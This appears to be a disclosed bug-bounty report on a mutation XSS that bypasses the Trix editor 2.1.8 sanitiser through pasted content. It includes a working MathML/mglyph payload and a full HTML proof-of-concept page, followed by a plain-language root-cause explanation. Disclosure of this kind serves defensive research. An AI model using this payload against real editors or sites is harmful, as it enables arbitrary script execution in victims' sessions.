Mutation Based Stored XSS on Trix Editor version latest (2.1.8)
The Trix rich-text editor's sanitiser could be bypassed by pasting crafted content that mutates into an executable HTML structure, allowing script to run. An attacker could use this to run arbitrary JavaScript in a victim's session when they paste the content into the editor.
- Disclosed after 8 months
Heyy there, I have found a bypass for the sanitizer used in Trix Editor https://github.com/basecamp/trix , the bypass is kind a of mutation based , using copy paste vector it's possible to perform the xss.
An example payload would be:
copy<div data-trix-attachment="{"contentType":"text/html5","content":"<math><mtext><table><mglyph><style><img src=x onerror=alert()></style>XSS POC"}"></div>me
Decoding the html entity you get the below payload ,which contains the mutation xss vector
<math><mtext><table><mglyph><style><img src=x onerror=alert()></style>
For more details on this bypass you can read here: https://research.securitum.com/mutation-xss-via-mathml-mutation-dompurify-2-0-17-bypass/ There will exist will more simple vectors this is just an example which worked out of the blue.
Steps to reproduce:
Using the similar poc from the report #2521419 we can replicate the bug, just save the below code in .html file and then copy the text saying copy me and paste it in the editor this will popup an alert.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Trix Editor XSS Demo</title>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/trix.umd.js"></script>
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/trix.min.css" rel="stylesheet">
</head>
<body>
<h1>Trix Editor XSS Demo</h1>
<trix-editor></trix-editor>
<script>
document.write(`copy<div data-trix-attachment="{"contentType":"text/html5","content":"<math><mtext><table><mglyph><style><img src=x onerror=alert()></style>XSS POC"}"></div>me`);
</script>
</body>
</html>

Impact
An attacker could exploit these vulnerabilities to execute arbitrary JavaScript code within the context of the user's session, potentially leading to unauthorized actions being performed or sensitive information being disclosed.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the sanitiser validates the pasted HTML before the browser's parser mutates it into a different, executable DOM structure, so the sanitised output no longer matches what is rendered.
Impact
An attacker could execute arbitrary JavaScript in the context of the user's session, potentially leading to unauthorised actions or disclosure of sensitive information.
What the attacker needed
Victim pastes crafted content; Trix editor version 2.1.8 in use
How it was found
- Save the provided demo HTML page that loads the Trix editor and writes the crafted attachment markup.
- Save the demo HTML file.
- Select and copy the text labelled 'copy me'.
- Paste it into the Trix editor, which triggers the alert.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A rich-text editor cleans up pasted content so that dangerous HTML is removed. Here the cleaning step could be tricked: the browser rearranges the pasted markup into a different shape after the check, and that new shape contains a script trigger. So pasting a specially prepared snippet into the editor runs code in the page.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.